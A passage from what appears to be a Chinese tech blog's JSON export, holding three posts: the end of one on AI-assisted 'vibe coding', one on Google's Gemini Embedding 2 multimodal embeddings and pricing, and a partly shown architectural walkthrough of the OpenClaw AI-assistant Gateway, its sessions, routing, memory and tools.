就是这样的一个例子。\n他在巴黎一家为 Dior、Louis Vuitton 等高端客户制作影像书的印刷厂担任生产经理。教育背景完全是典型文科生：他曾写过关于法国图像小说的硕士论文。他完全不懂编程，甚至直到前几年都没怎么认真关注过 AI。\n后来，有一件事改变了他对 ChatGPT 的看法。\n他和妻子养了两只新小猫，结果它们都生了重病，其中一只突然死了。兽医告诉他们，剩下那只猫得了晚期癌症。Cuisy 觉得不太合理，就把猫的症状描述给 ChatGPT。ChatGPT 认为更像是一种感染。这促使他继续查资料，最后找到了一个诊断：猫传染性腹膜炎。第二天，猫的病情就开始好转。\n不久后，他在工作里又碰到了另一个问题。公司买了新打印机，但原有软件无法很好适配，导致照片显示时必须人工反复调整边距。公司规模不大，不可能专门养一支开发团队去做内部定制软件。于是 Cuisy 决定自己试一试，用 OpenAI 的代码工具 Codex 来“vibe coding”。\n“我基本上就是告诉它：我需要一个应用，完成这些操作；打印机接受的文件格式是这样的。”他说。他花了几个小时，仔细描述文件该如何被调整。到当天结束时，ChatGPT 就给他生成了一个同时支持 Mac 和 Windows 的应用。现在，员工们可以一次性处理多达 2000 张图片。\n他的老板很满意。至于这份代码到底是怎么工作的，Cuisy 完全不知道。代码是用 Python 写的，而对他来说，这跟古希腊文没什么区别。\n这就是“编程变成对话”带来的文化后果：几十年来，程序员和普通人之间隔着一整片神秘知识的海洋；而现在，这片海洋正在变窄。如果代码生成 AI 继续进步，那么像 Cuisy 这样的人会越来越多。正如 Brynjolfsson 所说：“也许他们不会称自己为软件工程师，但他们确实在创造代码。很多人都有想法。”\n未来，世界上出现的软件，很可能会比以往多得多，而且是由个人为个人写出来的。\n一个可能属于所有白领的预演 职业程序员最终会怎样，现在还没有明确答案。\n但他们此刻那种混合着兴奋与焦虑的状态，也许正在为其他白领职业预演未来。凡是工作中大量涉及语言、信息、解释、判断的领域，这种新的能力组合——一部分是表达能力，一部分是系统思维，一部分是对机器输出的怀疑与校验——都可能成为未来白领劳动的基本构成。\n那些曾经看起来最技术、最难、最不可替代的技能，未必真的最安全；反而是社交性的、想象性的、架构性的、人对结果进行判断和筛选的能力，开始变得更重要。\n我们也许会越来越少地亲手写“初稿”，而越来越多地去评估、筛选、修正和决定。与此同时，我们可能又会隐隐不安：当机器越来越多地代替我们生成内容时，我们自己是否还能保持足够强的判断力？\n抽象化，可能正在来到我们所有人身边。\n","date":"2026-03-14T04:58:37Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2026-03-14-zai-ai-agent-shi-dai-xu-duo-gui-gu-cheng-xu-yuan-yi-jing-ji-/cover.jpg","permalink":"/p/2026-03-14-zai-ai-agent-shi-dai-xu-duo-gui-gu-cheng-xu-yuan-yi-jing-ji/","title":"在 AI Agent 时代，许多硅谷程序员已经几乎不再亲手写代码了"},{"content":"过去几年，多模态检索一直有一种很别扭的感觉：大家都知道它重要，也都知道它有价值，但真要落地，往往就会迅速滑向一场“拼装工程”。文本一套模型，图片一套模型，音频最好先转写，视频最好先抽帧，PDF 还要单独解析。最后系统看起来像是“能搜”，可背后其实是五六条处理链硬拼在一起，复杂、昂贵，而且很难优雅。\nGoogle 新发布的 Gemini Embedding 2，真正让人眼前一亮的，不是它又把 embedding 做强了一点，而是它第一次把文本、图片、音频、视频、PDF拉进了同一个统一向量空间里。官方把它定义为 Google 首个原生多模态 embedding 模型，目前已经通过 Gemini API 和 Vertex AI 进入 Public Preview。\n这件事听上去像模型更新，实际上更像一次架构层的洗牌。因为从这一刻起，多模态检索终于不再只是“大厂能做、小团队很难做优雅”的高级能力，而开始像一项真正的基础设施：可以被调用，可以被组合，也可以被更低成本地接进你的搜索、RAG、知识库和内容系统里。\n它到底强在哪，不只是“支持多模态” 很多人看到这里，第一反应可能是：\n“支持文本、图片、音频、视频、PDF，这不就是多模态吗？”\n还真不止。\nGemini Embedding 2 的关键不只是“什么都能输进去”，而是所有模态出来以后能落在同一个 embedding space 里。这意味着什么？意味着你不再一定要为每种媒介维护完全独立的语义体系。文本可以搜图片，图片可以召回 PDF，音频可以关联视频片段，跨模态检索终于不是一层额外的“补丁能力”，而成了模型本身的默认能力。\n这会直接改变系统设计思路。\n以前你更像是在设计“五条平行管线”。\n现在你更像是在设计“一个统一召回底座”。\n注意，我这里说的是“更像”，不是说所有复杂度从此消失。长视频仍然要切片，复杂知识库仍然要做 metadata 设计，高要求场景依然常常需要 rerank。\n最值钱的地方，是它终于不再要求你先做“翻译官” 过去处理非文本内容时，行业里一个非常常见的默认动作是“先降级成文本”。\n●音频？先 Whisper。\n●视频？先抽帧，最好再加字幕。\n●PDF？先 OCR，再抽正文。\n这类方案当然能工作，但本质上是在让系统把所有模态都挤进“文本入口”里。Gemini Embedding 2 做的，是把入口重新打开。它可以原生摄取音频，不需要中间文本转写；视频支持约 2 分钟级别的原生输入；PDF 也可以直接嵌入。\n这意味着搜索开始更接近人真正理解世界的方式。\n●你问“哪节课讲过这个图”，系统不一定非要先把整门课转成文本再去关键词匹配；\n●你上传一段声音，也不一定非得先变成文字才能参与检索；\n●你搜一个商品，也不一定要把图和文分开索引，最后再人工拼装成“结果页”。\n一个特别容易被低估的能力：它可以表示“实体”，不只是“素材” Gemini Embedding 2 还有一个很值得说的亮点：它支持混合输入。\n如果你在一个 content entry 里传入多个 parts，比如“文字 + 图片”，模型会为这组内容生成一个聚合后的 embedding；如果你在 contents 数组里放多个独立条目，它则会返回多个独立向量。官方文档甚至直接建议：对于像社交媒体帖子这种包含多种媒体内容的复杂对象，可以把多个 embedding 聚合，形成一个 post-level representation\n这件事非常关键。\n因为它把 embedding 的对象，从“原子素材”升级成了“业务实体”。\n一块手表，不只是商品图，也不只是商品描述；\n一条社交帖子，不只是文字，也不只是配图；\n一堂课程，不只是讲义 PDF，也不只是视频和录音。\n过去这些东西往往是拆开建索引、拆开召回、最后在上层硬拼。\n现在你可以在索引层就把它们当成一个“对象”来表示。\n这对于做内容平台、商品搜索、企业知识库、课程检索，影响都非常大。因为从这里开始，RAG 的检索单元不再只能是 text chunk，它可以是一个帖子、一个商品、一段课堂内容，甚至一个带图文说明的复杂知识实体。\n3072 维不是重点，重点是你终于可以按成本来调“语义密度” 做系统的人都知道，维度本身并不是越大越好。更大的维度意味着更高的存储成本、更高的计算开销、更长的检索延迟。Gemini Embedding 2 默认输出 3072 维，但支持用 output_dimensionality 调整维度，官方推荐的常见选择是 768、1536、3072，并说明它支持从 128 到 3072 的灵活输出。这个能力背后用的是 MRL（Matryoshka Representation Learning）\n简单说就是：你可以根据场景，在“效果”和“成本”之间做更细粒度的平衡。\n●如果你是大规模通用检索，1536 维可能就已经很香；\n●如果你追求极致成本和吞吐，768 维会很有吸引力；\n●如果你做的是高价值高精度场景，3072 维会更稳。\n免费吗？多少钱？ Gemini Embedding 2 现在有两条主路径，想快速试、想低门槛上手，用 Gemini Developer API；想走企业治理、云权限、生产环境，走 Vertex AI。\n第一条是 Gemini Developer API。 这一条更轻，适合开发者快速试。官方价格页明确写了：gemini-embedding-2-preview 当前有 Free Tier，文本、图片、音频、视频输入在免费层里都是 Free of charge。免费层数据 Used to improve our products: Yes；如果切到付费层，这一项会变成 No。付费价格方面：\n●标准模式下文本是 $0.20 / 1M tokens\n●图片约 $0.00012 / 张\n●音频约 $0.00016 / 秒\n●视频约 $0.00079 / 帧；\n如果用 Batch API，价格大约是标准价的 50%。\n第二条是 Vertex AI。 这一条更偏企业与云上生产环境。你需要 Google Cloud 项目、启用 billing、开启 Vertex AI API，并配置认证；而且 AI Studio 的 API key 不能直接用于 Vertex AI。模型页还写明：Gemini Embedding 2 当前支持的是 Standard PayGo，不支持 Provisioned Throughput、Flex PayGo、Priority PayGo 和 Batch Prediction，当前页面列出的区域是 us-central1。Vertex AI 价格页对它的专属条目写的是：\n●文本 $0.2 / 1M tokens\n●图片 $0.00012 / image\n●视频 $0.00079 / frame\n●音频 $0.00016 / sec\n●输出不收费。\n两个很容易踩的坑 第一个坑，是不要把旧向量直接拿来和新模型混用。\ngemini-embedding-001 和 gemini-embedding-2-preview 的 embedding spaces 不兼容。也就是说，如果你准备升级到 Gemini Embedding 2，旧数据不能直接拿来比较，你需要重新做一遍 re-embedding。这对已经有存量索引库的团队来说，是非常现实的迁移成本。\n第二个坑，是不要把“视频支持时长”写得过于绝对。\n目前官方资料里有三种写法：\n●Google 博客写的是支持最多 120 秒视频；\n●Gemini API 文档写的是视频上限 128 秒；\n●Vertex AI 模型页则更细，写成带音频视频上限 80 秒，不带音频视频上限 120 秒。\n所以总结来说它当前具备 2 分钟级别的视频原生 embedding 能力，更长的视频仍建议切片后索引。\n它不会消灭所有复杂度，但它确实改写了“默认架构” Gemini Embedding 2没有神奇到让多模态检索从此没有工程问题。\n它不会自动帮你解决 metadata、chunking、权限隔离、召回融合、在线延迟、索引更新这些老问题。\n但它确实把过去那种“多模态一定要多套模型、多套索引、多阶段拼装”的默认范式，往前推了一大步。\n更重要的是，这一步不是停留在“论文层面”的。Google 已经给出了官方接入路径，也已经列出 LangChain、LlamaIndex、Haystack、Weaviate、Qdrant、ChromaDB 和 Vertex AI Vector Search 等生态集成方式。也就是说，这不是一个“看上去很厉害但暂时用不起来”的能力，它已经开始变成开发者今天就能碰、今天就能试、今天就能接进系统里的东西。\n所以，Gemini Embedding 2 真正改变的，可能不是“embedding 这个模型又进步了多少”，而是：\nGoogle 终于把多模态检索，从一项需要大量拼装和妥协的工程活，推进成了一种更统一、更自然、更接近基础设施的能力。\n最后 如果文本、图片、音频、视频、PDF 真的开始共享一个语义空间，接下来最值得重新思考的问题，也许就不再是：\n“我还能接多少模型？”\n而是：\n在我的系统里，什么才算一个真正值得被检索的对象？\n是一段文字，\n是一页 PDF，\n是一张图，\n是一条帖子，\n还是一个由图文、声音、视频共同组成的“实体”？\nGemini Embedding 2 给出的，不只是一个新模型。\n它更像是在提醒所有做 AI 应用的人：\n下一代检索系统要统一的，从来不只是接口，而是我们理解世界的入口。\n","date":"2026-03-12T02:51:44Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2026-03-12-google-gang-gang-ba-duo-mo-tai-jian-suo-cong-pin-zhuang-gong/cover.jpg","permalink":"/p/2026-03-12-google-gang-gang-ba-duo-mo-tai-jian-suo-cong-pin-zhuang-gong/","title":"Google 刚刚把多模态检索，从“拼装工程”变成了“基础能力”"},{"content":"如果你最近在 GitHub 上关注过 AI Agent 领域，大概率已经看到过 OpenClaw。到 2026 年 3 月 10 日，它的 GitHub 仓库已经来到约 297k stars，超过了 React 的约 244k 和 Linux 的约 222k。更重要的不是数字本身，而是它火起来的方式：它不是靠一个漂亮网页，也不是靠一个“会聊天的套壳”，而是靠一整套把大模型接入真实消息渠道、真实设备、真实浏览器、真实文件系统的系统架构，硬生生把“AI 助手”做成了一个长期在线的工程系统。\n但如果你只把 OpenClaw 理解成“接了很多 IM 的机器人”，你会完全错过它最有价值的部分。OpenClaw 官方 README 写得很直白：“The Gateway is just the control plane — the product is the assistant.” 这句话几乎就是读懂整个项目的钥匙。它的重点从来不是“有多少入口”，而是：有没有一个统一控制面，把消息、状态、路由、模型、工具、节点、权限和安全边界收在一起。 README、架构文档和 Vision 文档都在强调同一件事：OpenClaw 想做的是“真正会做事的 AI”，运行在你的设备、你的渠道、你的规则之内。\n这篇文章，我想尽量回答七个问题：\n1.它到底是什么？\n2.它为什么会采用现在这套架构？\n3.Gateway 到底在系统里扮演什么角色？\n4.Agent 是怎么运行起来的？\n5.Memory、Workspace、Session 为什么是它的关键设计？\n6.多 Agent、节点、工具体系是怎么拼到一起的？\n7.以及最后，为什么它值得被看作下一代 AI 助手的典型系统样本。\n在回答这些问题之前，我不得不说，现在龙虾有些过热了，对于想 “卖铲子” 的公司当然觉得这是好事，于是他们推波助澜，但对于专业人士不能人云亦云。openClaw 有它优秀的一面，也有被炒作夸大的一面，应该客观地看。\n一、OpenClaw 的本质，不是聊天机器人，而是“个人 AI 助手控制面” 一句话定义 OpenClaw，我会这样说：\nOpenClaw = 一个以 Gateway 为中心的个人 AI 助手控制平面，下面挂着嵌入式 agent runtime、会话系统、工具系统、消息渠道、节点设备和安全边界。\n这个定义不是我自己拔高出来的，而是官方文档本身就在往这个方向写。\n●README 说它是“你运行在自己设备上的 personal AI assistant”；\n●架构文档说它是一个 single long-lived Gateway，拥有所有 messaging surfaces；\n●Vision 文档则把它描述为“the AI that actually does things”，运行在你的设备、你的渠道、你的规则里。\n把这些信息放在一起看，你会发现 OpenClaw 的设计起点根本不是一个“聊天 UI”，而是一个长期在线、可被多入口触发、可调用工具、可连接设备、可持续维护状态的 AI 系统。\n这也是为什么我认为 OpenClaw 更接近“控制面”而不是“应用层”。在很多 AI 产品里，用户打开网页，输入问题，后端调一下模型，返回一段文本，交互就结束了。OpenClaw 则完全不是这种形态。它默认有一个长期运行的 Gateway 进程，消息渠道接到这个 Gateway，上层的 CLI、Control UI、WebChat 接这个 Gateway，macOS/iOS/Android/headless 节点也接这个 Gateway，甚至定时任务、exec approvals、pairing 和 health 事件都围绕 Gateway 展开。也就是说，Gateway 不是一个消息转发器，而是系统中枢。\n二、Gateway 为什么是 OpenClaw 最关键的设计 OpenClaw 官方架构文档里最重要的一句话，是它把 Gateway 明确成 single control plane。一个长期运行的 Gateway 拥有所有 messaging surfaces；control-plane clients 通过 WebSocket 连进来；nodes 也通过 WebSocket 连进来，但会声明自己是 role: node；Canvas host 也由 Gateway 的 HTTP server 提供，而且默认和 Gateway 共用 127.0.0.1:18789 这个端口。\n这意味着什么？意味着 OpenClaw 的系统设计不是“每个端各做一套逻辑”，而是“先做一个统一控制面，再让所有端接入它”。这在工程上有三个非常大的好处。\n第一，状态是统一的。\n会话在哪里维护？在 Gateway。\n路由在哪里决策？在 Gateway。\n设备配对、认证 token、事件广播、健康状态、cron、工具审批在哪里收敛？还是在 Gateway。\n这让系统不会因为前端入口变多而出现多套状态、多个事实来源。\n第二，协议是统一的。\nGateway protocol 文档明确写了：OpenClaw 不是“随便传一段 JSON”，而是有明确握手流程和版本约束的 WebSocket 协议。服务端先发 connect.challenge，客户端再带着 device identity、role、scopes、caps、auth、签名等参数发起 connect，通过后才返回 hello-ok。协议版本有 minProtocol/maxProtocol 协商，协议 schema 由 TypeBox 定义，再生成 JSON Schema 以及 Swift model。对一个跨 CLI、网页、桌面、移动端、节点设备的系统来说，这种 typed protocol 的价值非常高。\n第三，能力是统一暴露的。\n比如 Control UI 不是一个独立后端，而是 Gateway 在同一端口上提供的浏览器管理界面；WebChat 直接连 Gateway WebSocket；nodes 也不是第二套服务，而是带 role:node 的外围设备。也就是说，OpenClaw 并不是“一个 App + 一堆外挂”，而是“一个控制面 + 多个表面”。\n很多人第一次看 OpenClaw，会把注意力放在“它居然支持这么多渠道”。但真正懂架构的人，会先看 Gateway。因为能不能把多个入口、多种设备、多条事件流、多种工具执行方式，全都压到一个长期运行的控制面里，决定了它到底是“一个功能”还是“一个系统”。OpenClaw 的做法很明确：先有控制面，再有助手。\n三、它最强的抽象，不是对话框，而是 Agent、Session 和 Route 很多 AI 产品最基础的抽象单位是“聊天窗口”。OpenClaw 不是。\nOpenClaw 的真正基础模型，是：\n●谁来回复（Agent）\n●回复落在哪段连续上下文里（Session）\n●一条消息应该被路由到哪个 agent 和哪个 session（Route）\nAgent：一颗完整隔离的大脑 Multi-Agent 文档里写得很清楚：一个 agent 是一个 fully scoped brain，拥有\n●自己的 workspace\n●自己的 agentDir\n●自己的 auth profiles\n●自己的 session store\n它的文件、人格、配置、认证信息和会话历史都是围绕这个 agent 单独组织的。默认路径也很清晰：\n●workspace 在 ~/.openclaw/workspace 或 workspace-\u0026lt;agentId\u0026gt;\n●session 存在 ~/.openclaw/agents/\u0026lt;agentId\u0026gt;/sessions\n●auth profile 在 ~/.openclaw/agents/\u0026lt;agentId\u0026gt;/agent/auth-profiles.json\n这件事非常重要。因为这说明 OpenClaw 的多 Agent，不是“在一个上下文里换不同 system prompt 假装多人格”，而是真的把状态、身份、凭证和工作目录做成了隔离单元。但要注意，这种独立是为了让系统跑得更有条理，属于“防君子不防小人”的内部隔离。官方的意思很明确：同一个网关（Gateway）里的 Agent 默认都是“自己人”，不能把互不信任、甚至带有敌意的任务强行塞进同一个网关里，它并没有提供那种级别的安全防御。\nSession：上下文连续性的主键 Session 文档里有一句特别关键的话：\nOpenClaw treats one direct-chat session per agent as primary.\n这句话可以理解成：对每一个 agent，OpenClaw 都认为它有一个“主私聊会话”\nOpenClaw 默认会将一个 Agent 接收到的所有私聊（Direct Message, DM）都汇聚到一个主会话里（即 agent:\u0026lt;agentId\u0026gt;:\u0026lt;mainKey\u0026gt;）。对于群聊、频道或特定的话题（Thread），则会自动拆分独立处理。\n对于 direct chat， agent 有一个规范意义上的主会话；默认所有 DM 都往这里归并，以保证连续性。\n假设你有一个 agent 叫 main。默认情况下：\n●你在 Web UI 私聊它一次\n●之后又在 CLI 私聊它\n●再后来在手机端私聊它\n如果这些都被识别为 direct chat，而且你没有改 session.dmScope，那么这些私聊会折叠进同一个主 session,这样做的好处是：agent 会把这些私聊视为同一条连续对话，而不是三个彼此割裂的会话。\n默认的主会话机制在单用户场景下很完美，但在多用户场景下就是一个巨大的安全漏洞。\n如果 Alice 和 Bob 都去私聊同一个 Agent，在默认配置下，他们实际上是在向同一个“上下文沙箱”里写入数据。这就好比两个人共用一个日记本：\n●Alice 刚和 Agent 聊完财务密码。\n●Bob 接着去问 Agent“我们刚才聊了什么？”\n●Agent 就会直接把 Alice 的密码复述给 Bob，造成严重的信息泄露。\n为了应对多用户场景，OpenClaw 提供了 session.dmScope 配置，允许你在架构层面把私聊的上下文切分成更安全的细粒度：\n●按发信人隔离（per-peer）。\n●按频道+发信人隔离。(per-channel-peer)\n●按账号+频道+发信人隔离(per-account-channel-peer)。\n⚠️ 如果你在开发面向多用户的 AI Agent，绝对不能盲目使用默认的私聊配置。必须根据业务需求，通过调整 dmScope 将用户的对话状态彻底隔离开，防止你的 Agent 变成一个没有隐私边界的“大喇叭”。\nRoute：决定消息进入哪颗大脑 Channel Routing 文档把消息路由规则写得非常明确，一条消息发过来，绝对不是“哪个 Agent 闲着就扔给谁”，而是像网关（Gateway）匹配规则一样，必须严格按照优先级一层层往下筛，直到找到唯一确定的接收者。\n我们可以用**“公司收发室分拣快递”**来打个比方，看一下这 5 层降级（Fallback）匹配规则：\n1.精准单聊 (Exact peer match)：快递单上写着“直接交到张三本人手里”。\n○明确的点对点直接交互，优先级最高。\n2.跟帖/线程继承 (Parent peer match)：快递单没写名字，但备注了“这是昨天那个加急件的补充材料”。收发室一查昨天是李四负责的，直接给李四。\n○识别 Thread 或上下文，让同一个 Agent 连贯处理同一个话题。\n3.平台级群组与角色 (Discord guild+roles / Slack team)：快递写着“给财务部经理”或“给核心开发组”。\n○根据外部平台（如 Discord/Slack）的特定权限组或大团队来分配对应的 Agent。\n4.账号与频道 (Account / Channel)：快递写着“送到 3 楼会议室”或“交给官方客服号”。\n○匹配特定的聊天频道或绑定的公共账号。\n5.默认兜底 (Default agent)：啥也没写清楚的无主件，统统扔给“前台总机”处理。\n○如果上面所有条件都未命中，最后由默认的 Agent 统一接管。\n这意味着 OpenClaw 的“消息归属”不是模糊的。一条消息不是“谁在线谁回”，而是经过一套确定性规则，先判定该由哪个 agent 接管，再决定落到哪个 session 里。\n所以 OpenClaw 能天然处理这些现实世界场景：\n●同一个 Gateway 托管多个 agent；\n●一个 Telegram 群给 work agent；\n●一个 WhatsApp 家庭群给 family agent；\n●一个 Slack team 给 support agent；\n四、Agent 不是外挂调用，而是嵌入式运行时 很多人对 OpenClaw 最大的误解，是把它当成了一个简单的“任务调度员”——以为它只是在收到消息时，拉起一个外部的子进程（Subprocess）去跑一下，或者通过接口（RPC）远程调一下就完事了。\n但架构文档明确指出：OpenClaw 是将 Agent 运行时“原生内嵌”到自己的网关里的。 它不是把 Agent 当作一个不可控的外部黑盒，而是直接在内部实例化 Agent 的核心会话（AgentSession）。\nPi Integration Architecture 文档写得非常明确：OpenClaw 不是 把 pi 作为 subprocess 或 RPC mode 的外部黑盒去调用，而是直接导入并实例化 pi 的 AgentSession，通过 createAgentSession() 把 agent runtime 嵌入 到自己的消息网关架构里。\n这种“深度内嵌”的架构设计，直接赋予了系统 6 大核心优势：\n1.全局生命周期掌控： 从对话的创建、挂起、恢复到销毁，网关层拥有绝对的控制权。\n2.动态能力扩展： 可以在运行时，随时把自定义的外部工具“塞”给 Agent 使用。\n3.“看人下菜碟”的人设： 能够根据消息来源（不同的平台渠道或上下文），动态切换 Agent 的系统提示词。\n4.强悍的记忆管理： 不仅能持久化保存对话，还支持高级的“记忆压缩（Compaction）”防止上下文爆满，甚至支持像 Git 一样对对话“开分支（Branching）”。\n5.智能凭证轮询： 在多个账号或 API Key 之间自动无缝切换，轻松应对并发和限流问题。\n6.模型厂商解绑： 底层的大模型想换就换，完全不受单一服务商（如 OpenAI、Anthropic）的绑架。\n简单来说，OpenClaw 走的是“直接收编”的路线，它把 Agent 的核心大脑直接“拔”过来，原生种植在了自己的神经中枢里。这就好比你不再是打电话咨询外部专家，而是直接把这位专家招进了自家的核心指挥部。正因为“人”彻底成了内部员工，你才能拥有上帝视角般的掌控力：你可以全面接管他的作息安排（会话生命周期），随时往他手里塞各种定制兵器（动态注入工具），根据不同场合要求他扮演不同的角色（按渠道切换提示词），像操作代码仓库一样去整理甚至分叉他的记忆（支持压缩与分支的持久化），甚至连他背后的“脑力供应商”（随时无缝切换各家大模型）和权限账号，都能在底层悄无声息地替他自动轮换。说白了，OpenClaw 不是在和 Agent “跨部门合作”，而是直接把 Agent 融为了自己身体的一部分。换句话说，OpenClaw 不是“在用一个 agent”，而是“在拥有一个 agent runtime，并把它纳入自己的控制面”。这也是它跟很多“外接 Agent SDK 的应用层产品”最大的差别之一。别人只是调用，OpenClaw 是接管。\n五、Agent Loop：一条消息的\u0026quot;真实旅程\u0026quot; 前面我们讲了 Gateway 如何把消息路由到正确的 Agent。现在让我们跟随一条消息，看看它进入 OpenClaw 后，到底经历了什么。\n不是\u0026quot;一次请求\u0026quot;，而是一个完整生命周期 如果你习惯了网页聊天框的\u0026quot;发消息→等回复\u0026quot;模式，OpenClaw 的处理方式会让你有点意外。\n传统模式：\n⚡ 代码片段用户发消息 → 后端调用模型 → 返回文本 → 结束\nOpenClaw 模式：\n⚡ 代码片段用户发消息 → 分配 runId → 解析 session → 装配上下文 → 运行 agent → 流式返回事件 → 持久化 session → 结束\n这一条链路，实际上就是你给 OpenClaw 发一句话之后，系统内部真实发生的事情。它不是“一次 HTTP 请求”，而是一个完整的运行生命周期。\nOpenClaw 把你的消息视为一个进程而非请求。它会给这个进程分配ID、监控生命周期、管理并发、持久化状态。\n并发控制：为什么同一聊天窗口的消息要\u0026quot;排队\u0026quot;？ 想象一下这个场景：你在 Telegram 连续发了三条消息：\n●“帮我查一下明天天气”\n●“顺便看看日程”\n●“把第一封邮件标为已读”\n如果这三条消息并发执行，会发生什么？\n●Agent 可能先处理了邮件，再处理天气\n●Session 历史会乱序写入\n●工具调用可能互相冲突\nOpenClaw 的解决方案很简单：每个 session 串行化执行。这不是性能问题，而是状态一致性问题。长期在线的助手，必须保证\u0026quot;记忆\u0026quot;不会被乱序操作搞乱。是防止工具竞争和状态污染的工程必要选择。\n流式事件：你看到的不是\u0026quot;打字动画\u0026quot;，而是真实的工作过程 OpenClaw 的流式输出，不是简单的\u0026quot;逐字显示\u0026quot;，而是三种事件流：\n为什么要这样设计？ 因为这让用户能真正\u0026quot;看到 AI 在工作\u0026quot;。不是动画，不是假进度条，而是系统内部真实发生的事件被推送到前端。它的体验更像一个\u0026quot;正在办公的助手\u0026quot;而非\u0026quot;死寂的输入框\u0026quot;\n六、真正让它“像一个人”的，不是模型，而是 Workspace、System Prompt 和 Memory 很多人体验 OpenClaw 后会有一种明显感觉：它比普通网页聊天更像一个“持续存在的助手”。这种感觉，核心不是来自模型，而是来自它对工作区、提示词和记忆的系统化设计\nWorkspace：AI 的家，而不是一个临时目录 简单说，Workspace 就是 AI 的\u0026quot;家\u0026quot;：\n●它有固定的位置（~/.openclaw/workspace/）\n●它有固定的文件结构\n●它是 AI 长期工作的地方，不是临时落脚点\nOpenClaw 在 Workspace 里约定了一整套\u0026quot;说明书文件\u0026quot;：\n这个设计特别妙。因为它把很多系统会偷偷塞进 prompt 模板或数据库里的东西，变成了用户可见、可读、可改、可备份的文件系统资产。你不是在“配一个人设”，而是在维护一个 AI 的长期工作环境。\n这里有一个非常重要的提醒：workspace 是默认工作目录，但不是硬沙箱（hard sandbox）；相对路径默认在 workspace 内解析，但绝对路径仍可能访问宿主机其它位置，除非你开启 sandbox。\nSystem Prompt：每次运行都在\u0026quot;编译上下文\u0026quot; OpenClaw 不是把用户的问题直接扔给模型，而是每次都重新构建一份完整的上下文：\n1⚡ 代码片段System Prompt 结构： 2├── Tooling（可用工具列表） 3├── Safety（安全规则） 4├── Skills（技能列表） 5├── Workspace Context（工作区文件） 6├── Documentation（相关文档） 7├── Current Date \u0026amp; Time（当前时间） 8└── Runtime（运行环境信息） Context 文档还补充了细节：默认会把 AGENTS.md、SOUL.md、TOOLS.md、IDENTITY.md、USER.md、HEARTBEAT.md、BOOTSTRAP.md 等文件作为 Project Context 注入系统提示；技能本身只会注入“技能列表和描述”，真正的 SKILL.md 需要模型按需读取。\n类比：\n●传统聊天：像\u0026quot;临时起意打电话\u0026quot;\n●OpenClaw：像\u0026quot;开会前先发会议议程和背景资料\u0026quot;\nMemory：真正写到磁盘，才算记住 Memory 文档里我最喜欢的一句话是：\nThe files are the source of truth; the model only “remembers” what gets written to disk.\nOpenClaw 默认的记忆结构非常简单，但非常工程化:\n1⚡ 代码片段workspace/ 2 ├── memory/ 3 │ ├── 2026-03-10.md ← 今天的日志 4 │ ├── 2026-03-09.md ← 昨天的日志 5 │ └── ... 6 └── MEMORY.md ← 长期、精炼的永久记忆 两种记忆的区别：\n检索机制：不是\u0026quot;只有文件\u0026quot;，也不是\u0026quot;只有向量\u0026quot; OpenClaw 使用混合检索,它明确暴露了两个 agent-facing tools：\n●memory_search 负责检索\n●memory_get 负责精确读取某个 Markdown 文件或行段\n1⚡ 代码片段用户问\u0026#34;我上次出差去哪了？\u0026#34; 2 ↓ 3 BM25 关键词检索 ← 精确匹配\u0026#34;出差\u0026#34; 4 + 5 向量语义检索 ← 理解\u0026#34;去哪了\u0026#34;是问目的地 6 ↓ 7 MMR 重排序 ← 去重、多样化 8 ↓ 9 返回最相关的几条记忆片段 记忆刷新：在\u0026quot;遗忘\u0026quot;前先\u0026quot;存档\u0026quot; OpenClaw 有一个很巧妙的设计：pre-compaction memory flush\n当 session 接近上下文上限（比如对话太长，快塞不进模型窗口了），OpenClaw 会：\n●触发一次\u0026quot;静默回合\u0026quot;（用户看不到）\n●提醒模型：“把值得记住的信息写入记忆文件”\n●然后再压缩上下文\n七、工具体系：分层设计，不是堆砌功能 如果说 Gateway 是控制面，Session 是状态骨架，那么 Tools / Plugins / Skills 就是 OpenClaw 的执行肌肉。\nOpenClaw 的工具体系有三个层次，很多人会混淆。让我们分清楚：\nTools：第一等公民 OpenClaw 暴露的是 first-class agent tools，不是外挂脚本。 包括 browser、canvas、nodes、cron、gateway、session 相关工具、agents_list、image、pdf、message、exec 等。\nOpenClaw 没有把“能力调用”做成 prompt 技巧，而是做成了运行时契约。Tool list 和 tool schema 会进入模型上下文；tool allow/deny、tool profiles、per-agent 工具策略、provider-specific 工具策略和 sandbox 工具策略共同决定模型实际能拿到哪些工具\nPlugins：扩展系统本身 插件是运行在 Gateway 内部的代码模块，可以：\n●注册新的 RPC 方法\n●添加新的 HTTP 路由\n●注册新的工具\n●启动后台服务\n类比：\n●Skills：像\u0026quot;使用说明书\u0026quot;\n●Tools：像\u0026quot;内置功能\u0026quot;\n●Plugins：像\u0026quot;给系统装新器官\u0026quot;\nSkills：教 AI 如何做事 每个 Skill 就是一个目录，核心是 SKILL.md——一份详细的操作指南。Skill 的三个来源（优先级从高到低）：\n●\u0026lt;workspace\u0026gt;/skills/：当前工作区专属\n●~/.openclaw/skills/：用户私有技能\n●Bundled skills：系统内置技能\n与Plugins的本质区别:Plugins是给手机增加新硬件（如外接摄像头）；Skills是相机APP里的\u0026quot;夜景模式\u0026quot;说明书。\n八、Node：让 AI “有手有眼” OpenClaw 严格区分了两个概念：\n为什么这样设计？\n如果把它们混在一起：\n●Telegram Bot 只能干 Telegram 允许的事\n●WhatsApp Bot 只能干 WhatsApp 允许的事\n每个渠道都要重新实现一遍\u0026quot;控制电脑\u0026quot;的能力\nOpenClaw 的设计：\n●所有消息渠道都汇聚到 Gateway\n●所有设备能力也汇聚到 Gateway\nGateway 负责调度：“这个 Telegram 消息需要控制 iPhone，我来协调”\nNode 是什么？ node 是 companion device，可以是 macOS、iOS、Android 或 headless 设备；它通过和 operator 一样的 Gateway WebSocket 接入，但使用 role: \u0026ldquo;node\u0026rdquo;，向 Gateway 暴露一组命令面，比如 canvas.、camera.、device.、notifications.、system.*，再由 node.invoke 触发。官方还特别强调：nodes are peripherals, not gateways。消息还是落在 Gateway，不是落在 node\nNode 是一台\u0026quot;伴侣设备\u0026quot;，它：\n●通过 WebSocket 连接到 Gateway\n●向 Gateway 暴露一组能力（camera、notifications、system…）\n●等待 Gateway 的指令\n类比：\n●Gateway：大脑\n●消息渠道：耳朵和嘴\n●Node：手和脚\n没有 Node 的话：\n●Telegram Bot 无法直接控制你的 iPhone\n●需要你自己手动截图,再发给 Bot\n●AI 无法真正\u0026quot;替你做事\u0026quot;\n有了 Node：\n●AI 可以跨设备协同工作\n●你在 Telegram 发指令,它在你的 Mac 